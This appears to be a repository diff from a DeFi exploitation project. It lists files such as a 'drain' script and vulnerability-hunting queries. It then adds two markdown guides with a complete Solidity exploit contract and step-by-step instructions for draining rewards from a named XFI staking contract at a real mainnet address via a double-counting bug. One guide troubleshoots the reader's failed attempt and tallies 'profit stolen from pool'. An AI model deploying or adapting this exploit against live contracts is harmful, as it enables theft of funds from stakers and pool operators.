- package/lib/openzeppelin-contracts/docs/modules/ROOT/pages/utilities.adoc +185 -0
- package/lib/openzeppelin-contracts/docs/modules/ROOT/pages/wizard.adoc +15 -0
- package/lib/openzeppelin-contracts/docs/templates/contract.hbs +111 -0
- package/lib/openzeppelin-contracts/docs/templates/helpers.js +46 -0
- package/lib/openzeppelin-contracts/docs/templates/page.hbs +4 -0
- package/lib/openzeppelin-contracts/docs/templates/properties.js +64 -0
- package/lib/openzeppelin-contracts/hardhat/env-artifacts.js +24 -0
- package/lib/openzeppelin-contracts/hardhat/env-contract.js +25 -0
- package/lib/openzeppelin-contracts/hardhat/ignore-unreachable-warnings.js +45 -0
- package/lib/openzeppelin-contracts/hardhat/skip-foundry-tests.js +6 -0
- package/lib/openzeppelin-contracts/hardhat/task-test-get-files.js +25 -0
- package/lib/openzeppelin-contracts/hardhat.config.js +131 -0
- package/lib/openzeppelin-contracts/lib/erc4626-tests/LICENSE +661 -0
- package/lib/openzeppelin-contracts/lib/erc4626-tests/README.md +116 -0
- package/lib/openzeppelin-contracts/lib/forge-std/.github/workflows/ci.yml +92 -0
- package/lib/openzeppelin-contracts/lib/forge-std/.gitmodules +3 -0
- package/lib/openzeppelin-contracts/lib/forge-std/LICENSE-APACHE +203 -0
- package/lib/openzeppelin-contracts/lib/forge-std/LICENSE-MIT +25 -0
- package/lib/openzeppelin-contracts/lib/forge-std/README.md +250 -0
- package/lib/openzeppelin-contracts/lib/forge-std/package.json +16 -0
- package/lib/openzeppelin-contracts/logo.svg +15 -0
- package/lib/openzeppelin-contracts/netlify.toml +3 -0
- package/lib/openzeppelin-contracts/package-lock.json +16544 -0
- package/lib/openzeppelin-contracts/package.json +96 -0
- package/lib/openzeppelin-contracts/remappings.txt +1 -0
- package/lib/openzeppelin-contracts/renovate.json +4 -0
- package/lib/openzeppelin-contracts/requirements.txt +1 -0
- package/lib/openzeppelin-contracts/scripts/checks/compare-layout.js +20 -0
- package/lib/openzeppelin-contracts/scripts/checks/compareGasReports.js +243 -0
- package/lib/openzeppelin-contracts/scripts/checks/extract-layout.js +38 -0
- package/lib/openzeppelin-contracts/scripts/checks/generation.sh +6 -0
- package/lib/openzeppelin-contracts/scripts/checks/inheritance-ordering.js +54 -0
- package/lib/openzeppelin-contracts/scripts/gen-nav.js +41 -0
- package/lib/openzeppelin-contracts/scripts/generate/format-lines.js +16 -0
- package/lib/openzeppelin-contracts/scripts/generate/run.js +49 -0
- package/lib/openzeppelin-contracts/scripts/generate/templates/Checkpoints.js +247 -0
- package/lib/openzeppelin-contracts/scripts/generate/templates/Checkpoints.opts.js +17 -0
- package/lib/openzeppelin-contracts/scripts/generate/templates/Checkpoints.t.js +146 -0
- package/lib/openzeppelin-contracts/scripts/generate/templates/EnumerableMap.js +283 -0
- package/lib/openzeppelin-contracts/scripts/generate/templates/EnumerableSet.js +250 -0
- package/lib/openzeppelin-contracts/scripts/generate/templates/SafeCast.js +126 -0
- package/lib/openzeppelin-contracts/scripts/generate/templates/StorageSlot.js +78 -0
- package/lib/openzeppelin-contracts/scripts/generate/templates/conversion.js +30 -0
- package/lib/openzeppelin-contracts/scripts/git-user-config.sh +6 -0
- package/lib/openzeppelin-contracts/scripts/helpers.js +37 -0
- package/lib/openzeppelin-contracts/scripts/prepack.sh +23 -0
- package/lib/openzeppelin-contracts/scripts/prepare-docs.sh +26 -0
- package/lib/openzeppelin-contracts/scripts/release/format-changelog.js +33 -0
- package/lib/openzeppelin-contracts/scripts/release/synchronize-versions.js +15 -0
- package/lib/openzeppelin-contracts/scripts/release/update-comment.js +34 -0
- package/lib/openzeppelin-contracts/scripts/release/version.sh +11 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/exit-prerelease.sh +8 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/github-release.js +48 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/integrity-check.sh +20 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/pack.sh +26 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/publish.sh +26 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/rerun.js +7 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/set-changesets-pr-title.js +17 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/start.sh +35 -0
- package/lib/openzeppelin-contracts/scripts/release/workflow/state.js +112 -0
- package/lib/openzeppelin-contracts/scripts/remove-ignored-artifacts.js +45 -0
- package/lib/openzeppelin-contracts/scripts/solhint-custom/index.js +84 -0
- package/lib/openzeppelin-contracts/scripts/solhint-custom/package.json +5 -0
- package/lib/openzeppelin-contracts/scripts/update-docs-branch.js +65 -0
- package/lib/openzeppelin-contracts/scripts/upgradeable/README.md +21 -0
- package/lib/openzeppelin-contracts/scripts/upgradeable/patch-apply.sh +19 -0
- package/lib/openzeppelin-contracts/scripts/upgradeable/patch-save.sh +18 -0
- package/lib/openzeppelin-contracts/scripts/upgradeable/transpile-onto.sh +54 -0
- package/lib/openzeppelin-contracts/scripts/upgradeable/transpile.sh +47 -0
- package/lib/openzeppelin-contracts/scripts/upgradeable/upgradeable.patch +360 -0
- package/lib/openzeppelin-contracts/slither.config.json +5 -0
- package/lib/openzeppelin-contracts/solhint.config.js +20 -0
- package/mythril-lft-output.txt +1 -0
- package/mythril-lft-symbolic.txt +18 -0
- package/mythril-lft.sh +20 -0
- package/mythril-symbolic-output.txt +1 -0
- package/mythril-symbolic.sh +42 -0
- package/out/build-info/0026b78428192979.json +1 -0
- package/out/build-info/03c4fc3b88486eba.json +1 -0
- package/out/build-info/0540afa9b9a5c5a6.json +1 -0
- package/out/build-info/081932f505bc08b9.json +1 -0
- package/out/build-info/0da104ba0d6642d5.json +1 -0
- package/out/build-info/197281971dbb5f23.json +1 -0
- package/out/build-info/197e7e332832a232.json +1 -0
- package/out/build-info/1a1cab9136eb5f94.json +1 -0
- package/out/build-info/1b320204eb162aa2.json +1 -0
- package/out/build-info/1e03f94398052674.json +1 -0
- package/out/build-info/22ac085949602937.json +1 -0
- package/out/build-info/234ef37453a9fa64.json +1 -0
- package/out/build-info/2447db7b1878fa8e.json +1 -0
- package/out/build-info/25568daeb484f5ff.json +1 -0
- package/out/build-info/27465853244c49ce.json +1 -0
- package/out/build-info/2c57a9e0f087453b.json +1 -0
- package/out/build-info/3c62ae7de8da68c4.json +1 -0
- package/out/build-info/3e771ae109e97bb3.json +1 -0
- package/out/build-info/460499bc0a3465c4.json +1 -0
- package/out/build-info/47ce37e50a4f115e.json +1 -0
- package/out/build-info/4fcce5c63cf427d6.json +1 -0
- package/out/build-info/4fd0a53fe63fddbb.json +1 -0
- package/out/build-info/50f1247db9d769cc.json +1 -0
- package/out/build-info/5317d0181a7a5e02.json +1 -0
- package/out/build-info/594df509275ceb5b.json +1 -0
- package/out/build-info/61983ac3f6141719.json +1 -0
- package/out/build-info/638c4548307122fe.json +1 -0
- package/out/build-info/67c2c43bdb7c0ded.json +1 -0
- package/out/build-info/777f42643aad37b7.json +1 -0
- package/out/build-info/7d7856f19e845354.json +1 -0
- package/out/build-info/83976260b6f71e94.json +1 -0
- package/out/build-info/83c23882000b963d.json +1 -0
- package/out/build-info/84b2cce8f70b36be.json +1 -0
- package/out/build-info/8bc13d31d7c3206a.json +1 -0
- package/out/build-info/8e183bd4d9d8cf88.json +1 -0
- package/out/build-info/94bfe1e7cafa8ff5.json +1 -0
- package/out/build-info/99ec7d5e8d8ff360.json +1 -0
- package/out/build-info/9ac044b29daa7d5e.json +1 -0
- package/out/build-info/9b203227ff5d2e63.json +1 -0
- package/out/build-info/9d18c5872c4282dd.json +1 -0
- package/out/build-info/9f77f04f33baf9a3.json +1 -0
- package/out/build-info/a6e1caf974787982.json +1 -0
- package/out/build-info/a94b6348867a62d6.json +1 -0
- package/out/build-info/ad93721947a8b195.json +1 -0
- package/out/build-info/b42daddb5aa4b19f.json +1 -0
- package/out/build-info/bf13512ae899f7e8.json +1 -0
- package/out/build-info/c39f86c20a548c4a.json +1 -0
- package/out/build-info/cb12bb975a2f4e65.json +1 -0
- package/out/build-info/d0c6788fadc2aa60.json +1 -0
- package/out/build-info/d2726bf94ed5b845.json +1 -0
- package/out/build-info/d4eb00da50cce5cb.json +1 -0
- package/out/build-info/db931924a3bc8bdd.json +1 -0
- package/out/build-info/e1a503d49bc77401.json +1 -0
- package/out/build-info/efe5396f8892ce77.json +1 -0
- package/out/build-info/f536d90ced745969.json +1 -0
- package/out/build-info/fed38823c7019b82.json +1 -0
- package/package.json +51 -0
- package/page.html +5384 -0
- package/pancakeswap-simple-tvl.sql +15 -0
- package/pancakeswap-top-pools.sql +29 -0
- package/pancakeswap-tvl-optimized.sql +57 -0
- package/pancakeswap-tvl-query.sql +60 -0
- package/pancakeswap-underflow-hunting.sql +51 -0
- package/pancakeswap-vulnerability-queries.sql +200 -0
- package/posi_page.html +6369 -0
- package/posi_response.json +29 -0
- package/proxy_page.html +500 -0
- package/run_mythril_elephant.sh +18 -0
- package/sHEGIC-bytecode.bin +6 -0
- package/sHEGIC-mythril-analysis.txt +1 -0
- package/sHEGIC-mythril-full.txt +134 -0
- package/sHEGIC_ANALYSIS.md +135 -0
- package/sHEGIC_EXPLOIT_ANALYSIS.md +317 -0
- package/sHEGIC_MYTHRIL_ANALYSIS.md +361 -0
- package/scrape-snowcrash.js +28 -0
- package/scripts/yooshi_drain.sh +154 -0
- package/shi_raw.json +1 -0
- package/temp.json +1 -0
- package/temp_harvest.json +1 -0
- package/temp_pika.json +1 -0
- package/temp_posi.json +1 -0
- package/temp_response.json +1 -0
- package/test-lft-hidden-balance.js +108 -0
- package/test-xfi-exploit.js +140 -0
- package/trunk-liquidity-rescue.js +164 -0
- package/vBABY_page.html +6153 -0
- package/vBABY_response.json +29 -0
- package/wsg_response.json +1 -0
- package/yooldo_page.html +10371 -0
package/EXPLOIT_FIX.md
ADDED
|
@@ -0,0 +1,300 @@
|
|
|
1
|
+
# How to Fix the Exploit - Add Rewards First!
|
|
2
|
+
|
|
3
|
+
## The Problem
|
|
4
|
+
|
|
5
|
+
Your exploit didn't work because **the staking pool has no rewards**. The double-counting bug only works when there are pending rewards to double.
|
|
6
|
+
|
|
7
|
+
## Solution: Add Rewards to Pool
|
|
8
|
+
|
|
9
|
+
### Option 1: Use Another Account to Add Rewards
|
|
10
|
+
|
|
11
|
+
```solidity
|
|
12
|
+
// From a different account (not the exploit contract)
|
|
13
|
+
// This simulates other users staking and generating fees
|
|
14
|
+
|
|
15
|
+
// Account 2: Stake to generate fees
|
|
16
|
+
xfi.approve(stakingContract, 10000 * 10**18);
|
|
17
|
+
staking.STAKE(10000 * 10**18);
|
|
18
|
+
// This generates a 2.5% fee = 250 XFI that goes to pool
|
|
19
|
+
|
|
20
|
+
// OR use ADDFUNDS directly
|
|
21
|
+
xfi.approve(stakingContract, 1000 * 10**18);
|
|
22
|
+
staking.ADDFUNDS(1000 * 10**18);
|
|
23
|
+
```
|
|
24
|
+
|
|
25
|
+
### Option 2: Modified Exploit Contract
|
|
26
|
+
|
|
27
|
+
Deploy this improved version:
|
|
28
|
+
|
|
29
|
+
```solidity
|
|
30
|
+
// SPDX-License-Identifier: MIT
|
|
31
|
+
pragma solidity ^0.6.0;
|
|
32
|
+
|
|
33
|
+
interface IERC20 {
|
|
34
|
+
function balanceOf(address account) external view returns (uint256);
|
|
35
|
+
function transfer(address to, uint256 tokens) external returns (bool);
|
|
36
|
+
function approve(address spender, uint256 tokens) external returns (bool);
|
|
37
|
+
function transferFrom(address from, address to, uint256 tokens) external returns (bool);
|
|
38
|
+
}
|
|
39
|
+
|
|
40
|
+
interface IStake {
|
|
41
|
+
function STAKE(uint256 tokens) external;
|
|
42
|
+
function WITHDRAW(uint256 tokens) external;
|
|
43
|
+
function CLAIMREWARD() external;
|
|
44
|
+
function ADDFUNDS(uint256 tokens) external;
|
|
45
|
+
function yourStakedXFI(address staker) external view returns(uint256);
|
|
46
|
+
function getPendingReward(address staker) external view returns(uint256);
|
|
47
|
+
function totalStakes() external view returns(uint256);
|
|
48
|
+
}
|
|
49
|
+
|
|
50
|
+
contract ImprovedXFIExploit {
|
|
51
|
+
IERC20 public constant xfi = IERC20(0x5BEfBB272290dD5b8521D4a938f6c4757742c430);
|
|
52
|
+
IStake public constant staking = IStake(0x5cD1C00a88822182733E3ac335863fcC9A1c0705);
|
|
53
|
+
|
|
54
|
+
address public owner;
|
|
55
|
+
|
|
56
|
+
uint256 public balanceBefore;
|
|
57
|
+
uint256 public balanceAfter;
|
|
58
|
+
uint256 public pendingBefore;
|
|
59
|
+
uint256 public pendingAfter;
|
|
60
|
+
uint256 public profit;
|
|
61
|
+
|
|
62
|
+
event Step(string description, uint256 value);
|
|
63
|
+
|
|
64
|
+
constructor() public {
|
|
65
|
+
owner = msg.sender;
|
|
66
|
+
}
|
|
67
|
+
|
|
68
|
+
modifier onlyOwner() {
|
|
69
|
+
require(msg.sender == owner, "Not owner");
|
|
70
|
+
_;
|
|
71
|
+
}
|
|
72
|
+
|
|
73
|
+
/**
|
|
74
|
+
* @notice Complete exploit with reward generation
|
|
75
|
+
* @dev This will:
|
|
76
|
+
* 1. Add rewards to pool (simulates other users)
|
|
77
|
+
* 2. Stake to get share of rewards
|
|
78
|
+
* 3. Stake again to trigger double-counting
|
|
79
|
+
* 4. Claim doubled rewards
|
|
80
|
+
*/
|
|
81
|
+
function completeExploit() external onlyOwner {
|
|
82
|
+
uint256 balance = xfi.balanceOf(address(this));
|
|
83
|
+
require(balance >= 3000 * 10**18, "Need at least 3000 XFI");
|
|
84
|
+
|
|
85
|
+
// Approve all tokens
|
|
86
|
+
require(xfi.approve(address(staking), balance), "Approval failed");
|
|
87
|
+
|
|
88
|
+
balanceBefore = balance;
|
|
89
|
+
emit Step("Initial balance", balanceBefore / 10**18);
|
|
90
|
+
|
|
91
|
+
// Step 1: Add rewards to pool (1000 XFI)
|
|
92
|
+
// This simulates other users staking and generating fees
|
|
93
|
+
staking.ADDFUNDS(1000 * 10**18);
|
|
94
|
+
emit Step("Added rewards to pool", 1000);
|
|
95
|
+
|
|
96
|
+
// Step 2: First stake (1000 XFI)
|
|
97
|
+
// This gives us a share of the rewards
|
|
98
|
+
staking.STAKE(1000 * 10**18);
|
|
99
|
+
uint256 staked1 = staking.yourStakedXFI(address(this));
|
|
100
|
+
emit Step("First stake completed", staked1 / 10**18);
|
|
101
|
+
|
|
102
|
+
// Check pending rewards
|
|
103
|
+
pendingBefore = staking.getPendingReward(address(this));
|
|
104
|
+
emit Step("Pending before 2nd stake", pendingBefore / 10**18);
|
|
105
|
+
|
|
106
|
+
// Step 3: Second stake (1000 XFI) - TRIGGERS BUG
|
|
107
|
+
// This will double-count the pending rewards
|
|
108
|
+
staking.STAKE(1000 * 10**18);
|
|
109
|
+
uint256 staked2 = staking.yourStakedXFI(address(this));
|
|
110
|
+
emit Step("Second stake completed", staked2 / 10**18);
|
|
111
|
+
|
|
112
|
+
// Check pending rewards (should be doubled)
|
|
113
|
+
pendingAfter = staking.getPendingReward(address(this));
|
|
114
|
+
emit Step("Pending after 2nd stake (DOUBLED)", pendingAfter / 10**18);
|
|
115
|
+
|
|
116
|
+
// Step 4: Claim the doubled rewards
|
|
117
|
+
staking.CLAIMREWARD();
|
|
118
|
+
emit Step("Claimed rewards", pendingAfter / 10**18);
|
|
119
|
+
|
|
120
|
+
// Calculate results
|
|
121
|
+
balanceAfter = xfi.balanceOf(address(this));
|
|
122
|
+
|
|
123
|
+
// Profit = balance after + staked amount - balance before
|
|
124
|
+
uint256 totalStaked = staked2;
|
|
125
|
+
if (balanceAfter + totalStaked > balanceBefore) {
|
|
126
|
+
profit = (balanceAfter + totalStaked) - balanceBefore;
|
|
127
|
+
}
|
|
128
|
+
|
|
129
|
+
emit Step("Final balance", balanceAfter / 10**18);
|
|
130
|
+
emit Step("Total profit", profit / 10**18);
|
|
131
|
+
}
|
|
132
|
+
|
|
133
|
+
/**
|
|
134
|
+
* @notice Withdraw staked tokens
|
|
135
|
+
*/
|
|
136
|
+
function withdrawStaked() external onlyOwner {
|
|
137
|
+
uint256 staked = staking.yourStakedXFI(address(this));
|
|
138
|
+
if (staked > 0) {
|
|
139
|
+
staking.WITHDRAW(staked);
|
|
140
|
+
emit Step("Withdrawn staked tokens", staked / 10**18);
|
|
141
|
+
}
|
|
142
|
+
}
|
|
143
|
+
|
|
144
|
+
/**
|
|
145
|
+
* @notice Withdraw XFI from contract
|
|
146
|
+
*/
|
|
147
|
+
function withdrawXFI() external onlyOwner {
|
|
148
|
+
uint256 balance = xfi.balanceOf(address(this));
|
|
149
|
+
require(xfi.transfer(owner, balance), "Transfer failed");
|
|
150
|
+
emit Step("Withdrawn XFI to owner", balance / 10**18);
|
|
151
|
+
}
|
|
152
|
+
|
|
153
|
+
/**
|
|
154
|
+
* @notice Get current status
|
|
155
|
+
*/
|
|
156
|
+
function getStatus() external view returns (
|
|
157
|
+
uint256 contractBalance,
|
|
158
|
+
uint256 stakedAmount,
|
|
159
|
+
uint256 pendingRewards,
|
|
160
|
+
uint256 totalPoolStakes
|
|
161
|
+
) {
|
|
162
|
+
contractBalance = xfi.balanceOf(address(this)) / 10**18;
|
|
163
|
+
stakedAmount = staking.yourStakedXFI(address(this)) / 10**18;
|
|
164
|
+
pendingRewards = staking.getPendingReward(address(this)) / 10**18;
|
|
165
|
+
totalPoolStakes = staking.totalStakes() / 10**18;
|
|
166
|
+
}
|
|
167
|
+
|
|
168
|
+
/**
|
|
169
|
+
* @notice Get exploit results
|
|
170
|
+
*/
|
|
171
|
+
function getResults() external view returns (
|
|
172
|
+
uint256 _balanceBefore,
|
|
173
|
+
uint256 _balanceAfter,
|
|
174
|
+
uint256 _pendingBefore,
|
|
175
|
+
uint256 _pendingAfter,
|
|
176
|
+
uint256 _profit,
|
|
177
|
+
string memory message
|
|
178
|
+
) {
|
|
179
|
+
_balanceBefore = balanceBefore / 10**18;
|
|
180
|
+
_balanceAfter = balanceAfter / 10**18;
|
|
181
|
+
_pendingBefore = pendingBefore / 10**18;
|
|
182
|
+
_pendingAfter = pendingAfter / 10**18;
|
|
183
|
+
_profit = profit / 10**18;
|
|
184
|
+
|
|
185
|
+
if (_pendingAfter > _pendingBefore) {
|
|
186
|
+
message = "EXPLOIT SUCCESSFUL! Rewards were doubled.";
|
|
187
|
+
} else if (_pendingBefore == 0) {
|
|
188
|
+
message = "No rewards in pool. Add rewards first.";
|
|
189
|
+
} else {
|
|
190
|
+
message = "Exploit not yet executed.";
|
|
191
|
+
}
|
|
192
|
+
}
|
|
193
|
+
}
|
|
194
|
+
```
|
|
195
|
+
|
|
196
|
+
## Step-by-Step Instructions
|
|
197
|
+
|
|
198
|
+
### Method 1: Two Accounts (Recommended)
|
|
199
|
+
|
|
200
|
+
1. **Account 1 (Victim)**: Add rewards to pool
|
|
201
|
+
```
|
|
202
|
+
- Transfer 1000 XFI to Account 1
|
|
203
|
+
- Call: xfi.approve(stakingContract, 1000 * 10**18)
|
|
204
|
+
- Call: staking.ADDFUNDS(1000 * 10**18)
|
|
205
|
+
```
|
|
206
|
+
|
|
207
|
+
2. **Account 2 (Attacker)**: Run exploit
|
|
208
|
+
```
|
|
209
|
+
- Deploy SimpleXFIExploit
|
|
210
|
+
- Transfer 2000 XFI to exploit contract
|
|
211
|
+
- Call: setupExploit()
|
|
212
|
+
- Call: executeExploit()
|
|
213
|
+
- Call: getResults() → Should show profit!
|
|
214
|
+
```
|
|
215
|
+
|
|
216
|
+
### Method 2: Single Account with Improved Contract
|
|
217
|
+
|
|
218
|
+
1. **Deploy ImprovedXFIExploit**
|
|
219
|
+
2. **Transfer 3000 XFI** to contract (1000 for rewards + 2000 for staking)
|
|
220
|
+
3. **Call completeExploit()** - This does everything in one transaction
|
|
221
|
+
4. **Call getResults()** - Check the profit
|
|
222
|
+
5. **Call withdrawStaked()** - Get your staked tokens back
|
|
223
|
+
6. **Call withdrawXFI()** - Get your XFI back
|
|
224
|
+
|
|
225
|
+
## Expected Results
|
|
226
|
+
|
|
227
|
+
With 1000 XFI in rewards:
|
|
228
|
+
|
|
229
|
+
```
|
|
230
|
+
Before exploit:
|
|
231
|
+
- Pool rewards: 1000 XFI
|
|
232
|
+
- Your stake: 0 XFI
|
|
233
|
+
- Your pending: 0 XFI
|
|
234
|
+
|
|
235
|
+
After first stake (1000 XFI):
|
|
236
|
+
- Your stake: 975 XFI (25 XFI fee)
|
|
237
|
+
- Your pending: ~1000 XFI (100% of pool rewards)
|
|
238
|
+
|
|
239
|
+
After second stake (1000 XFI):
|
|
240
|
+
- Your stake: 1950 XFI (50 XFI total fees)
|
|
241
|
+
- Your pending: ~2000 XFI (DOUBLED!)
|
|
242
|
+
|
|
243
|
+
After claiming:
|
|
244
|
+
- Your balance: +2000 XFI (instead of 1000 XFI)
|
|
245
|
+
- Profit: 1000 XFI stolen from pool
|
|
246
|
+
```
|
|
247
|
+
|
|
248
|
+
## Why Your Attempt Failed
|
|
249
|
+
|
|
250
|
+
Looking at your transaction trace:
|
|
251
|
+
|
|
252
|
+
```
|
|
253
|
+
getPendingReward(staker = 0x1a64ec...) => (0)
|
|
254
|
+
```
|
|
255
|
+
|
|
256
|
+
The pool had **0 rewards** because:
|
|
257
|
+
1. No one had staked before you (no fees generated)
|
|
258
|
+
2. No one had called ADDFUNDS
|
|
259
|
+
3. The pool was empty
|
|
260
|
+
|
|
261
|
+
The double-counting bug **requires existing rewards** to double them!
|
|
262
|
+
|
|
263
|
+
## Quick Fix for Your Current Situation
|
|
264
|
+
|
|
265
|
+
Since you already have tokens staked:
|
|
266
|
+
|
|
267
|
+
1. **From another account**: Add rewards
|
|
268
|
+
```solidity
|
|
269
|
+
xfi.approve(stakingContract, 1000 * 10**18);
|
|
270
|
+
staking.ADDFUNDS(1000 * 10**18);
|
|
271
|
+
```
|
|
272
|
+
|
|
273
|
+
2. **From your exploit contract**: Stake again
|
|
274
|
+
```solidity
|
|
275
|
+
// Transfer more XFI to exploit contract
|
|
276
|
+
xfi.transfer(exploitContract, 1000 * 10**18);
|
|
277
|
+
|
|
278
|
+
// From exploit contract
|
|
279
|
+
setupExploit(); // Approve
|
|
280
|
+
|
|
281
|
+
// Stake again to trigger bug
|
|
282
|
+
staking.STAKE(1000 * 10**18);
|
|
283
|
+
|
|
284
|
+
// Now claim
|
|
285
|
+
staking.CLAIMREWARD();
|
|
286
|
+
```
|
|
287
|
+
|
|
288
|
+
3. **Check results**
|
|
289
|
+
```solidity
|
|
290
|
+
getResults(); // Should show profit now!
|
|
291
|
+
```
|
|
292
|
+
|
|
293
|
+
## Summary
|
|
294
|
+
|
|
295
|
+
The exploit **works**, but you need rewards in the pool first. The bug doesn't create rewards from nothing - it doubles existing rewards.
|
|
296
|
+
|
|
297
|
+
**Next steps**:
|
|
298
|
+
1. Add rewards to pool (use ADDFUNDS or have another account stake)
|
|
299
|
+
2. Run the exploit again
|
|
300
|
+
3. You should see doubled rewards!
|
|
@@ -0,0 +1,273 @@
|
|
|
1
|
+
# XFI Staking Contract Exploit Instructions
|
|
2
|
+
|
|
3
|
+
## Overview
|
|
4
|
+
|
|
5
|
+
This document provides instructions for demonstrating the critical vulnerabilities in the XFI Staking contract deployed at `0x5cD1C00a88822182733E3ac335863fcC9A1c0705`.
|
|
6
|
+
|
|
7
|
+
## Vulnerabilities
|
|
8
|
+
|
|
9
|
+
### 1. Double-Counting Bug (CRITICAL)
|
|
10
|
+
The `pendingReward()` function modifies state by adding to `remainder`, and is called multiple times during stake/withdraw/claim operations, causing rewards to be counted twice.
|
|
11
|
+
|
|
12
|
+
### 2. First Staker Advantage (CRITICAL)
|
|
13
|
+
The first staker pays 0% fee while all subsequent stakers pay 2.5% fee.
|
|
14
|
+
|
|
15
|
+
## Setup
|
|
16
|
+
|
|
17
|
+
### Option 1: Foundry Test (Recommended for Testing)
|
|
18
|
+
|
|
19
|
+
1. Install Foundry:
|
|
20
|
+
```bash
|
|
21
|
+
curl -L https://foundry.paradigm.xyz | bash
|
|
22
|
+
foundryup
|
|
23
|
+
```
|
|
24
|
+
|
|
25
|
+
2. Create a new Foundry project or use existing:
|
|
26
|
+
```bash
|
|
27
|
+
forge init xfi-exploit
|
|
28
|
+
cd xfi-exploit
|
|
29
|
+
```
|
|
30
|
+
|
|
31
|
+
3. Copy `test/XFIStakingExploit.t.sol` to your test directory
|
|
32
|
+
|
|
33
|
+
4. Set up your `.env` file:
|
|
34
|
+
```bash
|
|
35
|
+
ETH_RPC_URL=https://eth-mainnet.g.alchemy.com/v2/YOUR_API_KEY
|
|
36
|
+
```
|
|
37
|
+
|
|
38
|
+
5. Run the test:
|
|
39
|
+
```bash
|
|
40
|
+
forge test --match-test testDoubleCountingExploit -vvv --fork-url $ETH_RPC_URL
|
|
41
|
+
```
|
|
42
|
+
|
|
43
|
+
### Option 2: Remix (For Manual Testing on Fork)
|
|
44
|
+
|
|
45
|
+
1. Open Remix IDE: https://remix.ethereum.org
|
|
46
|
+
|
|
47
|
+
2. Create a new file `XFIStakingExploit.sol` and paste the exploit contract
|
|
48
|
+
|
|
49
|
+
3. Compile with Solidity 0.6.0
|
|
50
|
+
|
|
51
|
+
4. Connect to your fork:
|
|
52
|
+
- Use Injected Provider (MetaMask)
|
|
53
|
+
- Or use Remix VM (London) for simulation
|
|
54
|
+
|
|
55
|
+
5. Deploy the `XFIStakingExploit` contract
|
|
56
|
+
|
|
57
|
+
## Exploit Execution
|
|
58
|
+
|
|
59
|
+
### Scenario 1: Double-Counting Exploit
|
|
60
|
+
|
|
61
|
+
**Prerequisites:**
|
|
62
|
+
- You need XFI tokens
|
|
63
|
+
- The staking pool must have some existing stakes (totalStakes > 0)
|
|
64
|
+
- There must be pending rewards
|
|
65
|
+
|
|
66
|
+
**Steps:**
|
|
67
|
+
|
|
68
|
+
1. **Get XFI Tokens**
|
|
69
|
+
- Obtain XFI tokens from the token contract at `0x5BEfBB272290dD5b8521D4a938f6c4757742c430`
|
|
70
|
+
- Or impersonate an account with XFI balance on your fork
|
|
71
|
+
|
|
72
|
+
2. **Transfer XFI to Exploit Contract**
|
|
73
|
+
```solidity
|
|
74
|
+
// From your account
|
|
75
|
+
xfi.transfer(exploitContractAddress, 2000 * 10**18);
|
|
76
|
+
```
|
|
77
|
+
|
|
78
|
+
3. **Run the Exploit**
|
|
79
|
+
```solidity
|
|
80
|
+
// Call the exploit function
|
|
81
|
+
exploit.simpleExploit(1000 * 10**18);
|
|
82
|
+
```
|
|
83
|
+
|
|
84
|
+
**What Happens:**
|
|
85
|
+
1. First `STAKE()` call:
|
|
86
|
+
- Transfers 1000 XFI to staking contract
|
|
87
|
+
- Calls `pendingReward()` which adds pending rewards to `remainder`
|
|
88
|
+
- Code adds `owing` to `remainder` again (FIRST COUNT)
|
|
89
|
+
- Stakes tokens
|
|
90
|
+
|
|
91
|
+
2. Second `STAKE()` call:
|
|
92
|
+
- Transfers another 1000 XFI
|
|
93
|
+
- Calls `pendingReward()` which adds pending rewards to `remainder` (SECOND COUNT)
|
|
94
|
+
- Code adds `owing` to `remainder` again
|
|
95
|
+
- Now `remainder` has DOUBLE the actual rewards
|
|
96
|
+
|
|
97
|
+
3. `CLAIMREWARD()`:
|
|
98
|
+
- Claims the doubled rewards
|
|
99
|
+
- Attacker receives 2x the legitimate reward amount
|
|
100
|
+
|
|
101
|
+
### Scenario 2: First Staker Advantage
|
|
102
|
+
|
|
103
|
+
**Prerequisites:**
|
|
104
|
+
- Staking pool must be empty (totalStakes = 0)
|
|
105
|
+
- You need XFI tokens
|
|
106
|
+
|
|
107
|
+
**Steps:**
|
|
108
|
+
|
|
109
|
+
1. **Check Pool Status**
|
|
110
|
+
```solidity
|
|
111
|
+
uint256 totalStakes = staking.totalStakes();
|
|
112
|
+
// Should be 0
|
|
113
|
+
```
|
|
114
|
+
|
|
115
|
+
2. **Be First Staker**
|
|
116
|
+
```solidity
|
|
117
|
+
exploit.firstStakerExploit(1000 * 10**18);
|
|
118
|
+
```
|
|
119
|
+
|
|
120
|
+
**What Happens:**
|
|
121
|
+
- First staker pays 0% fee (saves 25 XFI on 1000 XFI stake)
|
|
122
|
+
- All subsequent stakers pay 2.5% fee
|
|
123
|
+
- Unfair advantage of 2.5% to first staker
|
|
124
|
+
|
|
125
|
+
## Detailed Exploit Flow
|
|
126
|
+
|
|
127
|
+
### Complete Scenario with Multiple Actors
|
|
128
|
+
|
|
129
|
+
```solidity
|
|
130
|
+
// Account 1: Victim (initializes pool)
|
|
131
|
+
victim.stake(1000 XFI)
|
|
132
|
+
// Victim staked: 1000 XFI (no fee, first staker)
|
|
133
|
+
|
|
134
|
+
// Account 2: Funder (adds rewards)
|
|
135
|
+
funder.addFunds(1000 XFI)
|
|
136
|
+
// Pool now has 1000 XFI in rewards
|
|
137
|
+
|
|
138
|
+
// Account 3: Attacker (exploits)
|
|
139
|
+
attacker.stake(1000 XFI)
|
|
140
|
+
// Attacker staked: 975 XFI (25 XFI fee)
|
|
141
|
+
// Attacker pending: ~500 XFI (50% of rewards)
|
|
142
|
+
|
|
143
|
+
// Funder adds more rewards
|
|
144
|
+
funder.addFunds(1000 XFI)
|
|
145
|
+
// Pool now has 1500 XFI total rewards
|
|
146
|
+
// Attacker pending: ~750 XFI
|
|
147
|
+
|
|
148
|
+
// EXPLOIT: Attacker stakes again
|
|
149
|
+
attacker.stake(100 XFI)
|
|
150
|
+
// This triggers double-counting:
|
|
151
|
+
// - pendingReward() adds 750 to remainder
|
|
152
|
+
// - Code adds 750 to remainder AGAIN
|
|
153
|
+
// - remainder now has 1500 XFI
|
|
154
|
+
|
|
155
|
+
// Attacker claims
|
|
156
|
+
attacker.claimReward()
|
|
157
|
